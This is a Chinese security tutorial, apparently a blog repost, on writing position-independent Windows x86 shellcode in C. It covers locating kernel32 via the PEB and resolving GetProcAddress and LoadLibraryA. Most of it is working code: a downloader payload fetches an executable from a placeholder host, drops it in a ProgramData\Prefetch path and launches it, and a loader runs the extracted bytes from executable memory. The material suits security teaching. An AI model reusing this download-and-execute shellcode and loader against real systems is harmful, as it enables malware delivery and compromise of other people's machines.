Shellcode学习(一) —— 通过C编写shellcode

admin 2024年12月2日11:49:02评论21 views字数 12873阅读42分54秒阅读模式

本文主要是基于网上一些现有的shellcode编写文章的学习整理和思考。本篇主要是通过C代码生成shellcode,比较容易上手和实操,后面可能也会写直接用汇编写shellcode。

前置知识

shellcode是指不依赖环境,放到任何地方都可以执行的机器码。编写shellcode需要注意如下事项:

1)不能有全局变量,因为shellcode不依赖环境,放到其他程序中执行不一定会有这个全局变量;

2)不能使用常量字符串,也就是类似于"abc"这样的字符串,需要通过数组定义字符串,例如char string[] = {'a', 'b', 'c'}; 或者char string[] = {0x61, 0x62, 0x63};  这是因为双引号字符串编译器会优先存放在常量区中,其他程序不一定有这样一个常量区;而使用数组定义字符串,数据会直接放到堆栈中,不依赖外部环境。

3)函数、导入表不使用绝对地址,因为系统不会每次都把DLL文件加载到相同地址上,而且DLL文件可能随着Windows每次新发布的更新而发生变化,所以不能依赖DLL文件中某个函数特定的偏移。shellcode需要在调用函数时,先用LoadLibrary把函数所属的DLL文件加载到内存,然后通过GetProcAddress查找所需要的函数地址,通过这个地址进行函数调用。

4)避免空字节,空字节被认为是字符串的结束符。

所以为了能够动态获取函数地址,需要先找到GetProcAddress函数的地址,随后再通过GetProcAddress函数获取LoadLibrary函数的地址,有了这两个函数地址,就能实现其他DLL的动态加载和各种函数的调用了。

GetProcAddress函数在kernel32.dll中,所以还得先找到进程中kernel32.dll模块的基地址,由于kernel32.dll存在于任何进程的内存空间中,所以可以通过进程PEB来寻找。

综上,shellcode实现的基本过程如下:

1)通过FS寄存器获取PEB结构位置,然后通过PEB结构获取 kernel32.dll 的基地址2)通过 kernel32.dllPE文件格式找到导出表的地址,并通过导出表定位 GetProcAddress 函数的RVA3)通过 GetProcAddress 函数从kernel32.dll获取 LoadLibraryA 的函数地址4)通过 GetProcAddressLoadLibraryA 两个函数来加载各种dll文件查找各种函数实现各种功能

接下来详细说明这些过程如何实现。

寻找PEB结构地址

微软将进程中的每个线程都设置了一个独立的结构数据。这个结构体内存储着当前线程大量的信息。这个结构被称为TEB(线程环境块)。通过TEB结构内的成员属性向下扩展,可以得到很多线程信息。

TEB结构的其中一个成员为PEB(进程环境块),这个结构中存储着整个进程的信息。通过对PEB中成员的向下扩展可以找到一个存储着该进程所有模块数据的链表。

TEB结构指针存储在fs寄存器中,在32位程序中,PEB 结构的偏移量相对于FS段寄存器的值为0x30。

FS:[30] == TEB.ProcessEnvironmentBlock == address of PEBTEB结构(部分):typedef struct _TEB{NT_TIB Tib; /* 00h */PVOID EnvironmentPointer; /* 1Ch */CLIENT_ID Cid; /* 20h */PVOID ActiveRpcHandle; /* 28h */PVOID ThreadLocalStoragePointer; /* 2Ch */struct _PEB *ProcessEnvironmentBlock; /* 30h */ULONG LastErrorValue; /* 34h */ULONG CountOfOwnedCriticalSections; /* 38h */PVOID CsrClientThread; /* 3Ch */struct _W32THREAD* Win32ThreadInfo; /* 40h */ULONG User32Reserved[0x1A]; /* 44h */ULONG UserReserved[5]; /* ACh */PVOID WOW32Reserved; /* C0h */LCID CurrentLocale; /* C4h */ULONG FpSoftwareStatusRegister; /* C8h */PVOID SystemReserved1[0x36]; /* CCh */    ......} TEB, *PTEB;

通过PEB结构获取 kernel32.dll 基地址

PEB结构如下:

PEB结构(部分):typedef struct _PEB{UCHAR InheritedAddressSpace; // 00hUCHAR ReadImageFileExecOptions; // 01hUCHAR BeingDebugged; // 02hUCHAR Spare; // 03hPVOID Mutant; // 04hPVOID ImageBaseAddress; // 08hPPEB_LDR_DATA Ldr; // 0ChPRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10hPVOID SubSystemData; // 14hPVOID ProcessHeap; // 18hPVOID FastPebLock; // 1ChPPEBLOCKROUTINE FastPebLockRoutine; // 20hPPEBLOCKROUTINE FastPebUnlockRoutine; // 24h...} PEB, *PPEB;

PEB偏移为0x0c处存储着Ldr指针,它指向一个 _PEB_LDR_DATA 结构。PEB_LDR_DATA 结构如下:

typedef struct _PEB_LDR_DATA{ ULONG Length; // +0x00 BOOLEAN Initialized; // +0x04 PVOID SsHandle; // +0x08 LIST_ENTRY InLoadOrderModuleList; // +0x0c LIST_ENTRY InMemoryOrderModuleList; // +0x14 LIST_ENTRY InInitializationOrderModuleList;// +0x1c} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

可以看到这这个结构里面有三个 LIST_ENTRY 类型的链表成员,链表内的节点都是一样的,都能用来遍历进程中的DLL模块,只是排序不同。(InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList,这几个链表链接DLL模块的顺序不同,分别是根据DLL的加载顺序、DLL在内存中的顺序、DLL初始化的顺序)。

三个链表的入口结构 _LIST_ENTRY 如下:

typedef struct _LIST_ENTRY {   struct _LIST_ENTRY *Flink;   struct _LIST_ENTRY *Blink;} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

这个结构有两个成员,第一个成员Flink前驱指针指向下一个节点的Flink,Blink后驱指针指向上一个节点的Blink。最后一个成员的Flink/Blink指向第一个成员的Flink/Blink。所以这是一个双向链表。

当我们从 PEB_LDR_DATA 结构中取到 InMemoryOrderModuleList 结构时,这个结构中的Flink指向真正的模块链表,这个真正的链表的每个成员都是一个 LDR_DATA_TABLE_ENTRY 结构。

也就是说前面的的 _PEB_LDR_DATA 只是一个入口,这个结构只有一个,它不是链表节点,真正的链表节点结构 LDR_DATA_TABLE_ENTRY 如下,每个 LDR_DATA_TABLE_ENTRY 节点结构中偏移为 0x18 处的成员为DllBase:

typedef struct _LDR_DATA_TABLE_ENTRY{    LIST_ENTRY InLoadOrderLinks;           // 0x0    LIST_ENTRY InMemoryOrderLinks;         // 0x08    LIST_ENTRY InInitializationOrderLinks; // 0x10    PVOID DllBase;                         // 0x18    PVOID EntryPoint;                      // 0x1c    ULONG SizeOfImage;                     // 0x20    UNICODE_STRING FullDllName;            // 0x24    UNICODE_STRING BaseDllName;            // 0x2c    ULONG Flags;    WORD LoadCount;    WORD TlsIndex;    union    {        LIST_ENTRY HashLinks;        struct        {            PVOID SectionPointer;            ULONG CheckSum;        };    };    union    {        ULONG TimeDateStamp;        PVOID LoadedImports;    };    _ACTIVATION_CONTEXT * EntryPointActivationContext;    PVOID PatchInformation;    LIST_ENTRY ForwarderLinks;    LIST_ENTRY ServiceTagLinks;    LIST_ENTRY StaticLinks;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
  • _LDR_DATA_TABLE_ENTRY结构中的 _LIST_ENTRY 结构对应下一个 _LDR_DATA_TABLE_ENTRY 节点中的 _LIST_ENTRY 结构。

  • 如:第一个 _LDR_DATA_TABLE_ENTRY 结构中的 InMemoryOrderModuleLinks中的 Flink 指向的是第二个 _LDR_DATA_TABLE_ENTRY 结构中  InMemoryOrderModuleLinks 的首地址(Flink)。而不是另外两个 _LIST_ENTRY 结构。

  • 第一个 _LDR_DATA_TABLE_ENTRY 结构中的 Blink 指向 PEB_LDR_DATA 中对应成员的 Blink

  • 最后一个 _LDR_DATA_TABLE_ENTRY 结构中的 Flink 指向 PEB_LDR_DATA 中对应的成员的 Flink

  • PEB_LDR_DATA 结构中的 Blink 指向最后一个 _LDR_DATA_TABLE_ENTRY 中对应成员的 Blink

  • PEB_LDR_DATA 结构中的 Flink 指向第一个 _LDR_DATA_TABLE_ENTRY 中对应的成员的 Flink

这里会有点难懂,这个双向链表大致如下图所示,只有第一个入口结构是 _PEB_LDR_DATA,后面的都是 _LDR_DATA_TABLE_ENTRY 结构:

Shellcode学习(一) —— 通过C编写shellcode

抽象一点就是下图:

Shellcode学习(一) —— 通过C编写shellcode

可以看到这是一个以 PEB_LDR_DATA 为起点的一个闭合环形双向链表。通过遍历链表,比较dllName字符串内容可以找到目标模块的所属节点(当然Kernel32.dll在内存中一般是第三个模块,这步可以省略)。

找到特定的DLL所属的链表节点之后,再通过特定偏移获取节点成员DllBase,可以定位该模块的基地址(DOS头起始)处。

获取 kernel32.dll 基址的函数如下:

__declspec(naked) DWORD getKernel32(){    __asm{        mov eax, fs: [30h]           mov eax, [eax + 0ch]          mov eax, [eax + 14h]         mov eax, [eax]         mov eax, [eax]         mov eax, [eax + 10h]         ret    }}

详细解释:

mov eax, fs: [30h] fs:[30] 存储的是PEB结构的基地址,将PEB结构的地址赋给eaxmov eax, [eax + 0ch]获取LdrPEB_LDR_DATA)结构体地址,也就是PEB 0ch处的偏移,将地址赋给eaxmov eax, [eax + 14h]获取PEB_LDR_DATA结构体中InMemoryOrderModuleList成员链表入口结构地址(Flink)。该结构体的三个成员链表都可以获取kernel32的基址,这里用的是InMemoryOrderModuleList,在Ldr结构中的偏移是14h两次mov eax, [eax]获取链表中的第一个模块(程序本身)的 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLink 成员的Flink地址,其实就是把eax里面的地址里保存的数据(下一个Flink地址),再赋给eax,后面再把下一个Flink指向的地址(再下一个FLink),再赋给eax,就能一个接一个的获取每个模块的 LDR_DATA_TABLE_ENTRY 结构中InMemoryOrderLink 成员的Flink。两次这个指令执行后,eax中存储的是第二个模块的Flink指向的地址,也就是第三个模块的Flinkmov eax, [eax + 10h]获取第三个模块(kernel32)的基地址,LDR_DATA_TABLE_ENTRY 结构的0x18偏移处是DLL的基地址,而现在eax中存储的是 InMemoryOrderLinksFlink地址(偏移0x08),所以再加10h偏移,就是kernel32.dll的基地址

或者也可以使用下面的等效指令:

mov eax, fs:[30h]       ; 获取PEB的基地址mov eax, [eax + 0ch]    ; 获取Ldr结构体地址mov esi, [eax + 14h]    ; 获取初始化顺序链表的地址,存入esilodsd                   ; 从esi指向的地址读取第一个模块的地址到eax中,并更新esi指向下一个32位数据xchg eax, esi           ; 交换eax和esi的值,结果是eax为第一个模块地址,esi为链表中的下一个模块地址lodsd                   ; 从esi指向的地址读取第二个模块的地址到eax中mov eax, [eax + 10h]    ; 获取第三个模块的基地址(eax偏移0x10处就是kernel32的基地址,原理同上)ret

寻找 GetProcAddress 函数地址

现在获取到了Kernel32模块的基地址,接下来就是寻找 GetProcAddress 函数的地址了。

对 Kernel32.dll 的PE结构进行解析,搜索导出表,从导出表获取GetProcAddress函数地址。

代码如下,解释都在注释里了:

FARPROC _GetProcAddress(HMODULE hModuleBase){  // 将 hModuleBase 转换为 PIMAGE_DOS_HEADER 类型的指针,指向 DOS 头  PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;  // 计算 NT 头部的位置。lpDosHeader->e_lfanew 是 NT 头部相对于 DOS 头部的偏移量,将其加到模块基地址上,得到 NT 头部的地址,并将其转换为 PIMAGE_NT_HEADERS32 类型的指针  PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);  // 检查导出表的大小是否为零。如果为零,说明没有导出表,返回 NULL  if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {    return NULL;  }  // 检查导出表的虚拟地址是否为零。如果为零,说明导出表不存在,返回 NULL  if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {    return NULL;  }  // 根据导出表的虚拟地址计算出导出表在内存中的实际地址,并将其转换为 PIMAGE_EXPORT_DIRECTORY 类型的指针  PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);  // 获取函数名称地址表的实际地址。lpExports->AddressOfNames 是函数名称表的 RVA,加上模块基地址后得到实际地址  PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);  // 获取函数名称序号表的实际地址。lpExports->AddressOfNameOrdinals 是函数名称序号表的 RVA,加上模块基地址后得到实际地址  PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);  // 获取函数地址表的实际地址。lpExports->AddressOfFunctions 是函数地址表的 RVA,加上模块基地址后得到实际地址  PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);  DWORD dwLoop = 0;  FARPROC pRet = NULL;  // 遍历导出表中的所有函数名称。lpExports->NumberOfNames 是函数名称表中的函数数量  for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {    // 获取当前函数名称的实际地址。lpdwFunName[dwLoop] 是函数名称的 RVA,加上模块基地址后得到函数名称的实际地址    char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);    // 检查当前函数名称是否是 "GetProcAddress"。    if (pFunName[0] == 'G' &&      pFunName[1] == 'e' &&      pFunName[2] == 't' &&      pFunName[3] == 'P' &&      pFunName[4] == 'r' &&      pFunName[5] == 'o' &&      pFunName[6] == 'c' &&      pFunName[7] == 'A' &&      pFunName[8] == 'd' &&      pFunName[9] == 'd' &&      pFunName[10] == 'r' &&      pFunName[11] == 'e' &&      pFunName[12] == 's' &&      pFunName[13] == 's')    {      // 如果找到了 GetProcAddress 函数,将其地址计算出来并返回。            // lpword[dwLoop] 是当前函数名称在序号表中的索引,lpdwFunAddr 中对应的地址加上模块基地址就是实际的函数地址。      pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);      break;    }  }  return pRet;}

构建VS项目

项目配置(VS2022为例)

1)设置项目为release版本,x86(x64不支持内联汇编)2)属性 → C/C++ → 代码生成 → 安全检查 → 禁用安全检查3)属性 → C/C++ → 代码生成 → 运行库 → 多线程(/MT)4)属性 → C/C++ → 优化 → 已禁用5)属性 → 链接器 → 系统 → 子系统 → 窗口6)属性 → 链接器 → 高级 → 随机基址 → 否7)属性 → 链接器 → 高级 → 入口点 → 改成其他的名字(EntryMain),作为程序的入口函。默认的入口点会自动初始化crt函数,不要这些冗余的东西8)属性 → 链接器 → 清单文件 → 生成清单文件 → 否9)属性 → 链接器 → 调试 → 生成调试信息 → 否

现在我们要生成一段shellcode,功能为远程下载一个exe并启动,一个简单的DownLoader。

正常编写这个功能,代码是这样子的:

#include <windows.h>#include <winhttp.h>#include <stdio.h>#include <Urlmon.h>#pragma comment(lib, "urlmon.lib")int main() {const char* filePath = "C:\ProgramData\Prefetch\calc.exe";URLDownloadToFileA(NULL, "http://xx.xx.xx.xx:8011/calc.exe", filePath, 0, NULL);STARTUPINFOA si = { sizeof(si) };PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si));ZeroMemory(&pi, sizeof(pi));si.cb = sizeof(si);CreateProcessA(filePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)}

但是现在要把这些代码转换成符合shellcode要求的形式,就不能静态链接DLL文件,也不能直接调用 URLDownloadToFileA、ZeroMemory、CreateProcessA 这些API函数。

我们在上面已实现了获取GetPorcAddress函数地址,现在需要先找到LoadLibrary函数的地址进行调用,动态导入各种API函数所在的DLL并通过GetPorcAddress获取函数地址,通过指针进行调用。此外,代码里面的字符串也都需要转换成字节数组的形式。

完整代码如下,自行在后面拼接前面实现的俩函数:

DWORD getKernel32(); // 获取Kernel32基址的函数声明,函数实现需要放在EntryMain后面FARPROC _GetProcAddress(HMODULE hModuleBase);// 获取GetProcAddress地址的函数声明,实现要放后面int EntryMain() {// 自定义的入口点    // 定义一个指向GetProcAddress的函数指针    typedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);    // 获取GetProcAddress地址    FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress((HMODULE)getKernel32());    // 定义指向LoadLibraryA的函数指针    char szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };    typedef HMODULE(WINAPI* FN_LoadLibraryA)(_In_ LPCSTR lpLibFileName);    FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)getKernel32(), szLoadLibraryA);    // 导入urlmon.dll    char urlmonDll[] = { 'u','r','l','m','o','n',0 };    HMODULE hurlmon = fn_LoadLibraryA(urlmonDll);    // 定义指向URLDownloadToFileA的函数指针    char szURLDownloadToFileA[] = { 'U','R','L','D','o','w','n','l','o','a','d','T','o','F','i','l','e','A',0 };    typedef HRESULT(__stdcall* FN_URLDownloadToFileA)(_In_opt_ LPUNKNOWN, _In_ LPCSTR, _In_opt_ LPCSTR, DWORD, _In_opt_ LPBINDSTATUSCALLBACK);    FN_URLDownloadToFileA fn_URLDownloadToFileA = (FN_URLDownloadToFileA)fn_GetProcAddress(hurlmon, szURLDownloadToFileA);    // 调用URLDownloadToFileA下载文件    char szUrl[] = { 'h','t','t','p',':','/','/','x','x','x','.','x','x','x','.','x','x','x','.','x','x','x',':','8','0','1','1' ,'/','c','a','l','c','.','e','x','e',0 };    char szFilePath[] = { 'C',':','\','P','r','o','g','r','a','m','D','a','t','a','\','P','r','e','f','e','t','c','h','\','c','a','l','c','.','e','x','e',0 };    fn_URLDownloadToFileA(NULL, szUrl, szFilePath, 0, NULL);    // 调用CreateProcessA启动下载下来的文件    STARTUPINFOA si;    PROCESS_INFORMATION pi;    // 导入msvcrt模块。,调用memset。ZeroMemory底层调的memset    typedef void(__cdecl* FN_memset)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size);    char szmemset[] = { 'm','e','m','s','e','t',0 };    char msvcrtDll[] = { 'm','s','v','c','r','t',0 };    HMODULE msvcrt = fn_LoadLibraryA(msvcrtDll);    FN_memset fn_memset = (FN_memset)fn_GetProcAddress(msvcrt, szmemset);    fn_memset(&si, 0, sizeof(si));    fn_memset(&pi, 0, sizeof(pi));    si.cb = sizeof(si);    // 获取CreateProcessA函数地址并调用,原理同上    typedef BOOL(WINAPI* FN_CreateProcessA)(        _In_opt_ LPCSTR lpApplicationName,        _Inout_opt_ LPSTR lpCommandLine,        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,        _In_ BOOL bInheritHandles,        _In_ DWORD dwCreationFlags,        _In_opt_ LPVOID lpEnvironment,        _In_opt_ LPCSTR lpCurrentDirectory,        _In_ LPSTARTUPINFOA lpStartupInfo,        _Out_ LPPROCESS_INFORMATION lpProcessInformation    );    char szCreateProcessA[] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A',0 };    FN_CreateProcessA fn_CreateProcessA = (FN_CreateProcessA)fn_GetProcAddress((HMODULE)getKernel32(), szCreateProcessA);    fn_CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);    return 0;}

也可以直接操作裸指针和内存来模拟memset等内存操作(推荐,可以减小Shellcode的长度和复杂度,减少代码中不必要的辅助函数调用):

unsigned char* dst = (unsigned char*)&si;unsigned char val = 0; for (size_t i = 0; i < sizeof(si); ++i) {  dst[i] = val; // 将每个字节设置为0}unsigned char* dst2 = (unsigned char*)&pi; unsigned char val2 = 0; for (size_t i = 0; i < sizeof(pi); ++i) {  dst2[i] = val2; }

编译项目,用PE分析工具打开生成的exe,查询程序入口点偏移:

Shellcode学习(一) —— 通过C编写shellcode

使用十六进制编辑器打开exe,从偏移处copy机器码,就是shellcode:

Shellcode学习(一) —— 通过C编写shellcodeShellcode学习(一) —— 通过C编写shellcode

写一个Loader验证一下shellcode是否可用:

unsigned char sc[] = {  0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x72, 0x03, 0x00, 0x00, 0x50, 0xE8,  0x8C, 0x03, 0x00, 0x00, 0x83, 0xC4, 0x04, 0x89, 0x45, 0xFC, 0xC6, 0x45, 0xD4, 0x4C, 0xC6, 0x45,  0xD5, 0x6F, 0xC6, 0x45, 0xD6, 0x61, 0xC6, 0x45, 0xD7, 0x64, 0xC6, 0x45, 0xD8, 0x4C, 0xC6, 0x45,    ......    0xFC, 0x0F, 0xBE, 0x04, 0x0A, 0x83, 0xF8, 0x73, 0x75, 0x2C,  0xB9, 0x01, 0x00, 0x00, 0x00, 0x6B, 0xD1, 0x0D, 0x8B, 0x45, 0xFC, 0x0F, 0xBE, 0x0C, 0x10, 0x83,  0xF9, 0x73, 0x75, 0x18, 0x8B, 0x55, 0xF8, 0x8B, 0x45, 0xE0, 0x0F, 0xB7, 0x0C, 0x50, 0x8B, 0x55,  0xDC, 0x8B, 0x04, 0x8A, 0x03, 0x45, 0x08, 0x89, 0x45, 0xEC, 0xEB, 0x05, 0xE9, 0x82, 0xFE, 0xFF,  0xFF, 0x8B, 0x45, 0xEC, 0x8B, 0xE5, 0x5D, 0xC3, 0x00};int main(){  LPVOID Memory = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(Memory, sc, sizeof(sc));  ((void(*)())Memory)();}

成功运行:Shellcode学习(一) —— 通过C编写shellcode

Shellcode学习(一) —— 通过C编写shellcode

来啊,一起当保安↓

原文始发于微信公众号(sec0nd安全):Shellcode学习(一) —— 通过C编写shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月2日11:49:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shellcode学习(一) —— 通过C编写shellcodehttps://cn-sec.com/archives/3454482.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息